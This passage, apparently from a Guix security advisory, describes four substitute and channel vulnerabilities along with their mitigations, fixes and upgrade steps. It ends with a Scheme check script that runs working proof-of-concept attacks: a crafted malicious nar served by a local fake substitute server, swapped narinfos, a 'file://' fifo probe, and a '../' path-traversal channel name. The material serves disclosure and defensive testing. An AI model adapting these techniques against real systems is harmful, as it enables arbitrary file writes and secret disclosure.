with a fourth affecting &lt;code&gt;guix pull&lt;/code&gt; and &lt;code&gt;guix time-machine&lt;/code&gt;:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;(CVE assignment pending) The procedure that Guile code uses to unpack
substitutes, &lt;code&gt;restore-file&lt;/code&gt; in &lt;code&gt;(guix serialization)&lt;/code&gt;, was not hardened
against malicious input, but it was called to extract the substitute being
downloaded as it was being downloaded, rather than waiting until after the
entire archive had been obtained &lt;em&gt;and its hash had been verified&lt;/em&gt;. These
facts together make it possible for any substitute server (or any entity that
can impersonate one) to write arbitrary files to any place on an affected
system that the daemon user has permission to write to. In the case of the
daemon running as root, that includes &lt;code&gt;/etc/passwd&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;To avoid depending on the X.509 Public Key Infrastructure, the procedure that
fetches metadata about available substitutes (called &lt;em&gt;narinfos&lt;/em&gt;),
&lt;code&gt;fetch-narinfos&lt;/code&gt;, does not verify server certificates, since the canonical
parts of narinfos need to be signed anyway to be considered valid.
Unfortunately the substitute URL is not one such canonical part, and so it
can be replaced with an attacker-controlled URL.  If the substitute
downloaded doesn&#39;t match the signed hash in the narinfo, it will be rejected,
but by then it is too late: the substitute was extracted as it was being
downloaded, so the damage is already done.&lt;/p&gt;&lt;p&gt;This means that even though &lt;code&gt;download-nar&lt;/code&gt;, the procedure responsible for
actually downloading the substitute, does itself verify server certificates,
using &lt;code&gt;https&lt;/code&gt; in substitute server urls cannot limit who can exploit this, as
the certificate only needs to be appropriate for the attacker-controlled URL.&lt;/p&gt;&lt;p&gt;&lt;code&gt;restore-file&lt;/code&gt; is also used by other utilities, including &lt;code&gt;guix offload&lt;/code&gt;,
&lt;code&gt;guix archive --extract&lt;/code&gt;, and &lt;code&gt;guix challenge&lt;/code&gt;.  These can all be exploited
in the same way if untrusted input is given to them.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;(CVE assignment pending) The procedure that fetches metadata about available
substitutes (called &lt;em&gt;narinfos&lt;/em&gt;), &lt;code&gt;fetch-narinfos&lt;/code&gt; in &lt;code&gt;(guix substitutes)&lt;/code&gt;,
does not verify that the narinfo it got is the one it asked for, nor do any
of its callers in &lt;code&gt;(guix scripts substitute)&lt;/code&gt;. Consequently, it is possible
for a substitute server (or anyone who can impersonate one) to trick &lt;code&gt;guix substitute&lt;/code&gt; into using any store item for which there is an authorized
substitute as a substitute for any other store item for which there is an
authorized substitute. The complete extent of harm that can be caused by this
depends in part on what store items an authorized substitute server has
signed or can be convinced to sign, but at minimum this can be used to cause
outdated and insecure versions of software to be used.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;(CVE assignment pending) The implementation of &lt;code&gt;guix substitute&lt;/code&gt; in &lt;code&gt;(guix scripts substitute)&lt;/code&gt; permits &lt;code&gt;file://&lt;/code&gt; URIs to be used both for specifying
substitute server URIs (where to look for narinfos) and for specifying within
narinfos where to download the corresponding archive from. It does not
distinguish between &lt;code&gt;--substitute-urls&lt;/code&gt; passed on the &lt;code&gt;guix-daemon&lt;/code&gt; command
line and &lt;code&gt;--substitute-urls&lt;/code&gt; passed on the &lt;code&gt;guix&lt;/code&gt; command line (client-side),
with the latter taking precedence over the former. Opening of these &lt;code&gt;file://&lt;/code&gt;
URIs follows symbolic links. Consequently, an untrusted client may cause any
file that the daemon can read to be read. If a given line of it doesn&#39;t look
like a valid narinfo line (it uses recutils format), &lt;code&gt;guix substitute&lt;/code&gt; may
throw an exception, causing a backtrace containing that line to be passed
through to the client. So, for example, a file containing a single line
containing only a secret passphrase may have its contents revealed to any
local user if the daemon user can read it.&lt;/p&gt;&lt;p&gt;Additionally, when a &lt;code&gt;file://&lt;/code&gt; URI is used as the URI of a nar to download,
it may be written to the store if it happens to be a valid nar (&quot;normalized
archive&quot;) as used by Guix and Nix. This is unlikely, though.&lt;/p&gt;&lt;p&gt;In addition to possibly causing secrets to be disclosed, this can also be
used to interfere with the reading of any file being read by any process that
the daemon user could trace, through the use of files in &lt;code&gt;/proc/PID/fd&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;(CVE assignment pending) The procedure which &lt;code&gt;guix pull&lt;/code&gt; and &lt;code&gt;guix time-machine&lt;/code&gt; use to authenticate channels, &lt;code&gt;authenticate-channel&lt;/code&gt; in &lt;code&gt;(guix channels)&lt;/code&gt;, passed a cache key derived from the channel name to
&lt;code&gt;authenticate-repository&lt;/code&gt; in &lt;code&gt;(guix git-authenticate)&lt;/code&gt;. This cache key was
used to determine a filename for storing previously-authenticated commit IDs
in. If the channel name was of the form &quot;../../../../newfile&quot;, it could have
caused &quot;newfile&quot; to be created in the user&#39;s home directory. It may also have
overwritten &quot;newfile&quot; if it already existed, but only if it already looked
like a Scheme-syntax list of strings, since the contents would have to have
first been read and processed before new contents would have been written.&lt;/p&gt;&lt;p&gt;In the event that a write is performed, the output will only include a
Scheme-syntax comment, newline, and list of hexadecimal strings corresponding
to git commit identifiers. This makes it difficult to use for a practical
attack other than a denial-of-service, but note that since it can target
files in &lt;code&gt;/proc&lt;/code&gt;, a sufficiently creative and informed attacker may be able
to exploit this further.&lt;/p&gt;&lt;p&gt;Realistically, this vulnerability can only be exploited when fetching remote
channel files with the &lt;a href=&quot;https://guix.gnu.org/blog/2026/time-travel-without-borders/&quot;&gt;newly-added mechanism for doing
so&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h1&gt;Mitigation&lt;/h1&gt;&lt;p&gt;Vulnerabilities (1) and (2) can be mitigated against remote attackers by not
using substitutes, either by passing &lt;code&gt;--no-substitutes&lt;/code&gt; to &lt;code&gt;guix-daemon&lt;/code&gt; or
passing &lt;code&gt;--no-substitutes&lt;/code&gt; to all &lt;code&gt;guix&lt;/code&gt; commands. It&#39;s always possible to turn
substitutes back on for an individual client, though, so this doesn&#39;t work to
defend against a local attacker exploiting (1), (2), or (3), which cannot be
mitigated and must be fixed by updating. Vulnerability (4) can be mitigated by
not running &lt;code&gt;guix pull&lt;/code&gt; or &lt;code&gt;guix time-machine&lt;/code&gt; with an untrusted channels file.&lt;/p&gt;&lt;p&gt;A test for the presence of these vulnerabilities is available at the end of this
post. One can run this code with:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;guix repl -- guix-substitute-and-pull-vuln-check.scm&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This will finish with a sequence of 4 lines, beginning with &lt;code&gt;restore-file&lt;/code&gt;,
&lt;code&gt;fetch-narinfos&lt;/code&gt;, &lt;code&gt;file-uris&lt;/code&gt;, and &lt;code&gt;cache-key&lt;/code&gt; respectively, each followed by a
colon, a space, and either &lt;code&gt;vulnerable&lt;/code&gt; or &lt;code&gt;not vulnerable&lt;/code&gt; depending on whether
the running &lt;code&gt;guix-daemon&lt;/code&gt; has the indicated vulnerability or not. If all 4 lines
contain &lt;code&gt;not vulnerable&lt;/code&gt;, then &lt;code&gt;guix repl&lt;/code&gt; will exit with status code 0,
otherwise it will exit with status code 1.&lt;/p&gt;&lt;p&gt;Some of the tests can fail to produce a result in some cases. In this case the
output following the test name will start with &lt;code&gt;error:&lt;/code&gt;. A test that fails to
produce a result should be regarded as inconclusive.&lt;/p&gt;&lt;p&gt;The &lt;code&gt;restore-file&lt;/code&gt; and &lt;code&gt;fetch-narinfos&lt;/code&gt; tests may fail to produce a result if no
substitutes are authorized, or if no authorized substitutes for the current
guix&#39;s &lt;code&gt;cfunge&lt;/code&gt;, &lt;code&gt;hello&lt;/code&gt;, or &lt;code&gt;sed&lt;/code&gt; packages can be accessed through any of the
configured substitute urls. The &lt;code&gt;restore-file&lt;/code&gt; test may fail to produce a result
if &lt;code&gt;cfunge&lt;/code&gt; is reachable from some garbage collection root, such as a
profile. The &lt;code&gt;cache-key&lt;/code&gt; test may fail to produce a result if network access to
codeberg to fetch a small portion of the history of the &lt;code&gt;guix-science&lt;/code&gt; channel
is not available, which can be worked around by editing the script&#39;s definition
of &lt;code&gt;guix-science-url&lt;/code&gt; to be any URL (or a filename) at which a copy of the
&lt;code&gt;guix-science&lt;/code&gt; repository can be found.&lt;/p&gt;&lt;h1&gt;Fixes&lt;/h1&gt;&lt;p&gt;These security issues have been fixed by a series of 11 commits, starting with
&lt;a href=&quot;https://codeberg.org/guix/guix/commit/ed0a9721f8a20d6ddcf6a0495302f502b3f7bb17&quot;&gt;ed0a9721f8a20d6ddcf6a0495302f502b3f7bb17&lt;/a&gt; and ending with
&lt;a href=&quot;https://codeberg.org/guix/guix/commit/2ef8ed9f0df53bddf14bdecc2ea48c2d233213cc&quot;&gt;2ef8ed9f0df53bddf14bdecc2ea48c2d233213cc&lt;/a&gt; as part of pull
request &lt;a href=&quot;https://codeberg.org/guix/guix/pulls/9665&quot;&gt;#9665&lt;/a&gt;. Users should
make sure they have upgraded to commit
&lt;a href=&quot;https://codeberg.org/guix/guix/commit/897832f374dcdc9eeaf19d01e70b9a92fccfc68c&quot;&gt;897832f374dcdc9eeaf19d01e70b9a92fccfc68c&lt;/a&gt; or any later commit to be
protected from these vulnerabilities. Upgrade instructions are in the following
section.&lt;/p&gt;&lt;p&gt;Fixing vulnerability (1) involved hardening &lt;code&gt;restore-file&lt;/code&gt; so that it detects
and rejects invalid directory entry names. Specifically, entry names must be
unique, in strictly ascending order, not empty, not equal to &quot;.&quot; or &quot;..&quot;, and
not containing &quot;/&quot; or null bytes. Additionally, procedures currently used as the
&lt;code&gt;#:dump-file&lt;/code&gt; argument to &lt;code&gt;restore-file&lt;/code&gt; were modified to insist on creating the
target file afresh and never follow symbolic links.&lt;/p&gt;&lt;p&gt;The inspiration for that last change came from looking at the implementation of
nar-parsing in &lt;code&gt;parse&lt;/code&gt; in &lt;code&gt;nix/libutil/archive.cc&lt;/code&gt;, where it was determined that
that implementation was not vulnerable, but was about as close to vulnerable as
it could get without actually being vulnerable, only barely being saved by the
fact that the filesystem primitives used all refused to follow symbolic links or
accept an existing target (see &lt;a href=&quot;https://codeberg.org/guix/guix/commit/3e5c3217f334805531e5db1680d97490999253f7&quot;&gt;this commit
message&lt;/a&gt; for
details). To avoid wasting another 3 hours trying to determine this the next
time anyone tries looking at it with a critical eye, that implementation was
also rewritten to be stricter and more obviously secure. It is perhaps not
surprising that the same code led to CVE-2024-45593 in Nix when it was modified
to use more lax filesystem primitives from &lt;code&gt;std::filesystem&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Fixing vulnerability (2) involved modifying &lt;code&gt;fetch-narinfos&lt;/code&gt; to not include a
result if it didn&#39;t match what was asked for.&lt;/p&gt;&lt;p&gt;Fixing vulnerability (3) involved modifying &lt;code&gt;(guix scripts substitute)&lt;/code&gt; to
verify that all substitute urls from untrusted sources are not &lt;code&gt;file://&lt;/code&gt; urls,
and that all nar urls in narinfos are not &lt;code&gt;file://&lt;/code&gt; urls (except when a special
flag is set, which is only done in the test suite).&lt;/p&gt;&lt;p&gt;Some additional hardening was also done, so that substitutes are restored inside
a temporary directory and only moved to their final store item path once the
hash is verified. This still restores them before verifying the hash, so it
wouldn&#39;t have prevented (1), but it does ensure that attacker-controlled
contents are not present at the path of what may have once been a valid store
item (and may still be considered by some users or programs to be valid if they
haven&#39;t taken note of a recent garbage collection). The narinfo-reading code was
also modified to reject as invalid any narinfo file whose StorePath, References,
or Deriver field contained a path that did not obey the store item path syntax
requirements. A nice side-effect of this is that we now have procedures for
verifying the syntax of store item paths.&lt;/p&gt;&lt;p&gt;Fixing vulnerability (4) involved changing how &lt;code&gt;cache-key&lt;/code&gt; was computed by
default for users of &lt;code&gt;authenticate-repository&lt;/code&gt;. Rather than being derived from
the name of the channel or (for &lt;code&gt;guix git authenticate&lt;/code&gt;) the url of the
repository, &lt;code&gt;cache-key&lt;/code&gt; is now derived from the ID of the introductory commit,
which is a very safe hexadecimal string. This also avoids some strange and
potentially-dangerous behavior in which cached authenticated commit IDs could be
shared between two channels that happen to share a name but are otherwise
completely different. Additional hardening of &lt;code&gt;authenticate-repository&lt;/code&gt; was
added to turn all occurrences of &lt;code&gt;.&lt;/code&gt; in &lt;code&gt;cache-key&lt;/code&gt; into &lt;code&gt;-&lt;/code&gt; so that even if
non-default cache keys were provided, it would not be possible to escape the
cache directory.&lt;/p&gt;&lt;h1&gt;Upgrading&lt;/h1&gt;&lt;p&gt;Due to the severity of this security advisory, &lt;strong&gt;we strongly recommend all users
to upgrade &lt;code&gt;guix&lt;/code&gt; and &lt;code&gt;guix-daemon&lt;/code&gt; immediately&lt;/strong&gt;.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: The astute reader may have noticed a dilemma: the fastest way to get
updates is through substitutes, and the way to mitigate the most severe of the
remotely-exploitable vulnerabilities is to disable substitutes. Whether to
pass &lt;code&gt;--no-substitutes&lt;/code&gt; is therefore a judgment call that must take into
consideration how long it has been since these vulnerabilities were made
public, how exposed the network paths between your system and your substitute
servers are, how feasible it is for the system in question to build guix by
itself (which will depend in part on how long it has been since you last
upgraded), whether the system in question has multiple users, and of course,
your threat model.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;strong&gt;For Guix System&lt;/strong&gt;, &lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/Getting-Started-with-the-System.html&quot;&gt;the
procedure&lt;/a&gt;
is to reconfigure the system after a &lt;code&gt;guix pull&lt;/code&gt;, either restarting
&lt;code&gt;guix-daemon&lt;/code&gt; or rebooting.  For example:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;guix pull
sudo guix system reconfigure /run/current-system/configuration.scm
sudo herd restart guix-daemon&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;where &lt;code&gt;/run/current-system/configuration.scm&lt;/code&gt; is the current system
configuration but could, of course, be replaced by a system configuration file
of a user&#39;s choice.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;For Guix on another distribution&lt;/strong&gt;, one needs to &lt;code&gt;guix pull&lt;/code&gt; with &lt;code&gt;sudo&lt;/code&gt;, as
the &lt;code&gt;guix-daemon&lt;/code&gt; runs as root, and restart the &lt;code&gt;guix-daemon&lt;/code&gt; service, &lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/Upgrading-Guix.html&quot;&gt;as
documented&lt;/a&gt;.
For example, on a system using systemd to manage services, run:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;sudo --login guix pull
sudo systemctl restart guix-daemon.service&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note that for users with their distro&#39;s package of Guix (as opposed to having
used the &lt;a href=&quot;https://guix.gnu.org/en/manual/en/html_node/Binary-Installation.html&quot;&gt;install
script&lt;/a&gt;)
you may need to take other steps or upgrade the Guix package as per other
packages on your distro. Please consult the relevant documentation from your
distro or contact the package maintainer for additional information or
questions.&lt;/p&gt;&lt;h1&gt;Timeline&lt;/h1&gt;&lt;ul&gt;&lt;li&gt;May 28th, 2026. Jörg Thalheim of Nix shares the &lt;code&gt;restore-file&lt;/code&gt; vulnerability
with Christopher Baines and Andreas Enge; Christopher sends details to &lt;a href=&quot;https://guix.gnu.org/security&quot;&gt;the
Security Response Team&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;June 4th, 2026.  Andreas Enge notifies Caleb Ristvedt and Ludovic Courtès who
start working on a fix.&lt;/li&gt;&lt;li&gt;June 10th, 2026.  Caleb Ristvedt finds the &lt;code&gt;file://&lt;/code&gt; vulnerability
of &lt;code&gt;guix substitute&lt;/code&gt;.&lt;/li&gt;&lt;li&gt;June 22nd, 2026.  Caleb Ristvedt finds the third vulnerability: that &lt;code&gt;guix substitute&lt;/code&gt; did not verify whether the narinfo it is getting is the one it
asked for.&lt;/li&gt;&lt;li&gt;June 24th, 2026.  Following an &lt;a href=&quot;https://codeberg.org/guix/guix/pulls/2241#issuecomment-17569115&quot;&gt;issue reported by Sergio
Pastor-Pérez&lt;/a&gt;,
Ludovic Courtès identifies the &lt;code&gt;pull&lt;/code&gt; and &lt;code&gt;time-machine&lt;/code&gt; vulnerability and
works on a fix.  For the sake of convenience and because hints were available
publicly, it was decided that it should be promptly fixed and disclosed at the
same time as the other vulnerabilities.&lt;/li&gt;&lt;/ul&gt;&lt;h1&gt;Conclusion&lt;/h1&gt;&lt;p&gt;We would like to thank Jörg Thalheim for sharing the &lt;code&gt;restore-file&lt;/code&gt;
vulnerability, Christopher Baines for verifying it and informing &lt;a href=&quot;https://guix.gnu.org/security&quot;&gt;the Security
Response Team&lt;/a&gt;, and Andreas Enge for ensuring
that it reached Ludovic and Caleb and facilitating ongoing communication with
Jörg.&lt;/p&gt;&lt;p&gt;We would also like to thank John Kehayias of the Security Response Team for
coordination and for requesting CVE IDs.&lt;/p&gt;&lt;h2&gt;Test for presence of vulnerability&lt;/h2&gt;&lt;p&gt;Below is code to check if your &lt;code&gt;guix-daemon&lt;/code&gt; is vulnerable to the first three
vulnerabilities and your &lt;code&gt;guix&lt;/code&gt; is vulnerable to the fourth. Save this file as
&lt;code&gt;guix-substitute-and-pull-vuln-check.scm&lt;/code&gt; and run following the instructions
above, in &quot;Mitigation.&quot;&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(use-modules (git)
             (guix build utils)
             (guix derivations)
             (guix channels)
             (guix config)
             (guix gexp)
             (guix git)
             (guix narinfo)
             (guix packages)
             (guix pki)
             (guix utils)
             (guix serialization)
             (guix store)
             (guix substitutes)
             ((gnu packages base) #:hide (which))
             (gnu packages esolangs)
             (srfi srfi-1)
             (srfi srfi-26)
             (srfi srfi-31)
             (srfi srfi-34)
             (rnrs bytevectors)
             (ice-9 atomic)
             (ice-9 binary-ports)
             (ice-9 control)
             (ice-9 match)
             (ice-9 popen)
             (ice-9 rdelim)
             (ice-9 textual-ports)
             (ice-9 threads)
             (web response)
             (web request)
             (web uri)
             (web server)
             (web server http))

;; 1. restore-file

;; Craft an invalid nar, identify a substitutable path that doesn&#39;t exist (gc
;; if necessary), get its signed narinfo, start an http server, connect to
;; store, set substitute urls, ask to substitute the chosen path.  Have http
;; server serve the signed narinfo with the URLs replaced with its own.  When
;; the nar is requested, serve the invalid nar.  Once the substitution errors
;; out (hash doesn&#39;t match), check whether the chosen file now exists with the
;; specified contents.  We&#39;re vulnerable if and only if it does.

(define target-file
  &quot;/tmp/guix-restore-file-vulnerable&quot;)

(define target-substitutable-package
  ;; pick something obscure but in the main guix channel, so it is either not
  ;; currently valid or can probably be gc&#39;ed.  This is just to make the test
  ;; more reliable - in real exploitation, an attacker can sit around and wait
  ;; for any substitute request to be made, but here we need to provoke one in
  ;; a timely manner.
  cfunge)

(define substitute-servers
  (with-store store
    (substitute-urls store)))

;; Grafts can cause package-&amp;gt;derivation to actually start substituting outputs
;; of the derivation being computed, which means we&#39;d have to gc it afterward.
(%graft? #f)

(define (package-&amp;gt;path+narinfo store package)
  (define path
    (derivation-&amp;gt;output-path (run-with-store store (lower-object package))))

  (match (lookup-narinfos/diverse substitute-servers (list path)
                                  valid-narinfo?)
    ((info) (values path info))
    (() (values #f #f))))

(define (restore-file-vuln?)
  (define-values (target-path target-info)
    (call-with-values (lambda ()
                        (with-store store
                          
                          (package-&amp;gt;path+narinfo store
                                                 target-substitutable-package)))
      (lambda (path info)
        (unless info
          (error &quot;can&#39;t find substitutable path to test &#39;restore-file&#39; with\n&quot;))
        (with-store store
          (when (valid-path? store path)
            (when (null? (delete-paths store (list path)))
              (error &quot;can&#39;t delete substitutable path to test &#39;restore-file&#39; with\n&quot;))))
        (values path info))))

  (define new-target-info-contents
    (let* ((contents (narinfo-contents target-info))
           (signature-index (string-contains contents &quot;Signature:&quot;))
           (after-signature-index (string-index contents #\newline
                                                signature-index))
           (signed-contents (string-take contents (or after-signature-index
                                                      (string-length
                                                       contents)))))
      (string-append signed-contents &quot;
URL: example.nar
Compression: none
NarSize: 0\n&quot;)))

  ;; We can&#39;t delete target-file if it&#39;s owned by root, so overwrite it with
  ;; fresh, mostly-random contents each time, and check that the contents match.
  (define test-contents
    (format #f &quot;VULNERABLE!~%~S:~S~%&quot; (getpid) (random 100000000)))

  (define test-nar
    (call-with-output-bytevector
     (lambda (port)
       (for-each (lambda (s)
                   (write-string s port))
                 `(&quot;nix-archive-1&quot;
                   &quot;(&quot; &quot;type&quot; &quot;directory&quot;
                   &quot;entry&quot; &quot;(&quot; &quot;name&quot; &quot;a&quot;
                   &quot;node&quot; &quot;(&quot; &quot;type&quot; &quot;symlink&quot;
                   &quot;target&quot; ,target-file &quot;)&quot; &quot;)&quot;
                   &quot;entry&quot; &quot;(&quot; &quot;name&quot; &quot;a&quot;
                   &quot;node&quot; &quot;(&quot; &quot;type&quot; &quot;regular&quot;
                   &quot;contents&quot; ,test-contents  &quot;)&quot; &quot;)&quot;
                   &quot;)&quot;)))))

  (define bad-request
    (build-response #:code 400 #:reason-phrase &quot;Unexpected request&quot;))

  (define target-uri-path
    (string-append &quot;/&quot; (store-path-hash-part target-path) &quot;.narinfo&quot;))

  (define nar-uri-path &quot;/example.nar&quot;)

  (define (handle request body)
    (cond
     ((not (eq? (request-method request) &#39;GET))
      (values bad-request &quot;&quot;))
     ((string=? (uri-path (request-uri request)) target-uri-path)
      (format (current-error-port)
              &quot;Returning narinfo pointing to test nar~%&quot;)
      (values (build-response #:code 200)
              new-target-info-contents))
     ((string=? (uri-path (request-uri request)) nar-uri-path)
      (format (current-error-port) &quot;Returning test nar~%&quot;)
      (values (build-response #:code 200)
              test-nar))
     (else
      (values bad-request &quot;&quot;))))

  (call-with-port (socket PF_INET SOCK_STREAM 0)
    (lambda (sock)
      (setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
      (bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
      (listen sock 5)
      (let* ((port-number (sockaddr:port (getsockname sock)))
             (substitute-url (string-append &quot;http://localhost:&quot;
                                            (number-&amp;gt;string port-number)
                                            &quot;/&quot;))
             (server-thread (call-with-new-thread
                             (lambda ()
                               (run-server handle http
                                           `(#:socket ,sock))))))
        (with-store store
          (set-build-options store
                             #:substitute-urls (list substitute-url))
          (guard (c ((store-error? c)
                     ;; XXX doesn&#39;t actually cancel until something tries
                     ;; connecting
                     (cancel-thread server-thread)
                     ;;(join-thread server-thread)
                     (and (file-exists? target-file)
                          (string=? (call-with-input-file target-file
                                      get-string-all)
                                    test-contents))))
            (build-things store (list target-path))
            ;; If the substitution actually completes without throwing then we
            ;; are most definitely vulnerable, but not just in &#39;restore-path&#39;.
            (error &quot;!!!substitution of invalid nar completed???!!!&quot;)))))))



;; 2. fetch-narinfos

;; Identify two substitutable paths P1 and P2.  Get P1 and P2&#39;s signed
;; narinfos, start an http server, connect to store, set substitute urls, ask
;; whether P1 and P2 are substitutable.  Have http server serve P2&#39;s narinfo
;; when asked for P1&#39;s, and P1&#39;s when asked for P2&#39;s.  If vulnerable, it will
;; report that both are substitutable, if not, it will report that neither
;; are.

;; We need two substitutable paths because the daemon&amp;lt;--&amp;gt;&#39;guix substitute
;; --query&#39; interface verifies that the info it gets back is for a path that
;; was requested, so the &quot;replacement&quot; path has to also be queried for
;; substitutability at the same time.

(define (fetch-narinfos-vuln?)
  (define-values (hello-path hello-info)
    (with-store store (package-&amp;gt;path+narinfo store hello)))

  (define-values (sed-path sed-info)
    (with-store store (package-&amp;gt;path+narinfo store sed)))

  (define bad-request
    (build-response #:code 400 #:reason-phrase &quot;Unexpected request&quot;))

  (define hello-uri-path
    (string-append &quot;/&quot; (store-path-hash-part hello-path) &quot;.narinfo&quot;))

  (define sed-uri-path
    (string-append &quot;/&quot; (store-path-hash-part sed-path) &quot;.narinfo&quot;))

  (define (handle request body)
    (cond
     ((not (eq? (request-method request) &#39;GET))
      (values bad-request &quot;&quot;))
     ((string=? (uri-path (request-uri request)) hello-uri-path)
      (format (current-error-port) &quot;Returning sed when asked for hello~%&quot;)
      ;; Return the wrong result
      (values (build-response #:code 200)
              (narinfo-contents sed-info)))
     ((string=? (uri-path (request-uri request)) sed-uri-path)
      (format (current-error-port) &quot;Returning hello when asked for sed~%&quot;)
      ;; Return the wrong result
      (values (build-response #:code 200)
              (narinfo-contents hello-info)))
     (else
      (values bad-request &quot;&quot;))))

  (unless (and hello-info sed-info)
    (error &quot;can&#39;t find substitutable paths to test &#39;fetch-narinfos&#39; with&quot;))

  (call-with-port (socket PF_INET SOCK_STREAM 0)
    (lambda (sock)
      (setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
      (bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
      (listen sock 5)
      (let* ((port-number (sockaddr:port (getsockname sock)))
             (substitute-url (string-append &quot;http://localhost:&quot;
                                            (number-&amp;gt;string port-number)
                                            &quot;/&quot;))
             (server-thread (call-with-new-thread
                             (lambda ()
                               (run-server handle http
                                           `(#:socket ,sock))))))
        (with-store store
          (set-build-options store
                             #:substitute-urls (list substitute-url))
          (let ((substitutables
                 (substitutable-paths store (list hello-path sed-path))))
            ;; XXX doesn&#39;t actually cancel until something tries connecting
            (cancel-thread server-thread)
            ;;(join-thread server-thread)
            (not (null? substitutables))))))))

;; 3. file-uris

;; Create a fifo whose name is 32 nix-base32 characters followed by
;; &quot;.narinfo&quot;, connect to store, set substitute urls to point to containing
;; directory, spawn a thread to block trying to open fifo write-only which
;; will subsequently set a flag and close the port, then ask whether some
;; store path with that hash is substitutable.  It should fail in all cases.
;; Check whether the flag is set; if so, we&#39;re vulnerable, otherwise we&#39;re
;; not.

(define (file-uris-vuln?)
  (call-with-temporary-directory
   (lambda (directory)
     (define testfifo
       (string-append directory &quot;/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.narinfo&quot;))
     (define opened? (make-atomic-box #f))
     (define store-item
       (string-append (%store-prefix) &quot;/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-foo&quot;))

     (define open-thread
       (begin
         (mknod testfifo &#39;fifo #o744 0)
         (call-with-new-thread
          (lambda ()
            (call-with-port (open testfifo O_WRONLY)
              (lambda (port)
                (atomic-box-set! opened? #t))))))) 

     (with-store store
       (set-build-options store
                          #:substitute-urls (list (string-append &quot;file://&quot; directory)))
       (guard (c ((store-error? c)
                  (cancel-thread open-thread)
                  (delete-file testfifo)
                  ;; even though the file it is trying to open no longer
                  ;; exists, the kernel doesn&#39;t give a result to open-thread
                  ;; until someone ptraces it (or maybe sends a signal or
                  ;; something).
                  ;; (join-thread open-thread)
                  (atomic-box-ref opened?)))
         (substitutable-paths store (list store-item))
         (error &quot;not supposed to get here!\n&quot;))))))

;; 4. cache-key

;; Create a barebones git repository that is a valid channel, create a
;; &amp;lt;channel&amp;gt; that references it using a malformed name, set XDG_CACHE_HOME to
;; a directory inside a temporary directory (so that &#39;cache-directory&#39; points
;; to a subdirectory of it), call authenticate-channel, see if a file outside
;; of XDG_CACHE_HOME gets created.

;; If you don&#39;t have Internet access, edit this to point to a local repository
;; containing at least commit 5a2d9baeda971df575c017669bca8eb8faa22ebd and its
;; ancestors, and the keyring branch.
(define guix-science-url
  &quot;https://codeberg.org/guix-science/guix-science.git&quot;)

(define (create-test-channel directory channel-name)
  &quot;Populate REPOSITORY with the necessary contents for it to be a valid
channel with 2 commits, then return three values: a &amp;lt;channel&amp;gt; for it with name
CHANNEL-NAME and an introduction to the first commit, the first commit, and
the second commit.&quot;
  (define intro-commit
    &quot;b1fe5aaff3ab48e798a4cce02f0212bc91f423dc&quot;)

  (define end-commit ;; The commit following intro-commit
    &quot;5a2d9baeda971df575c017669bca8eb8faa22ebd&quot;)

  (define fingerprint
    &quot;CA4F 8CF4 37D7 478F DA05  5FD4 4213 7701 1A37 8446&quot;)

  (define git %git) ;; From (guix config), guix has a hard dependency on git

  (with-directory-excursion directory
    (invoke git &quot;init&quot;
            ;; Silence warning
            &quot;--initial-branch=main&quot;)
    (invoke git &quot;remote&quot; &quot;add&quot; &quot;--&quot; &quot;origin&quot; guix-science-url)
    (invoke git &quot;fetch&quot; &quot;--&quot; &quot;origin&quot; end-commit)
    (invoke git &quot;checkout&quot; &quot;FETCH_HEAD&quot;)
    (invoke git &quot;fetch&quot; &quot;--&quot; &quot;origin&quot; &quot;refs/heads/keyring:keyring&quot;)
    (values
     (channel
       (name channel-name)
       (url (canonicalize-path directory))
       (introduction (make-channel-introduction
                      intro-commit
                      (openpgp-fingerprint fingerprint))))
     intro-commit
     end-commit)))

(define (cache-key-vuln?)
  (call-with-temporary-directory
   (lambda (directory)
     (let ((home (string-append directory &quot;/home&quot;))
           (channel-repo (string-append directory &quot;/channel-repo&quot;))
           (testfile (string-append directory &quot;/testfile&quot;)))
       (mkdir home)
       (mkdir channel-repo)
       (with-environment-variables `((&quot;HOME&quot; ,home)
                                     (&quot;XDG_CACHE_HOME&quot; ,(string-append home
                                                                       &quot;/.cache&quot;)))
         (call-with-values
             (lambda ()
               (create-test-channel channel-repo
                                    (string-&amp;gt;symbol &quot;../../../../../testfile&quot;)))
           (lambda (channel first-commit last-commit)
             (authenticate-channel channel channel-repo last-commit
                                   #:keyring-reference-prefix &quot;&quot;)))
         (file-exists? testfile))))))

;; Results

(define vulnerabilities
  (list (list &quot;restore-file&quot; restore-file-vuln?)
        (list &quot;fetch-narinfos&quot; fetch-narinfos-vuln?)
        (list &quot;file-uris&quot; file-uris-vuln?)
        (list &quot;cache-key&quot; cache-key-vuln?)))

(define (call-with-errors-to-string proc)
  (define tag (make-prompt-tag))
  (call-with-prompt tag
    (lambda ()
      (with-throw-handler #t
        proc
        (rec (self key . args)
             (let* ((stack (make-stack #t
                                       1 ;self ;; Causes make-stack to return #f??
                                       tag
                                       ))
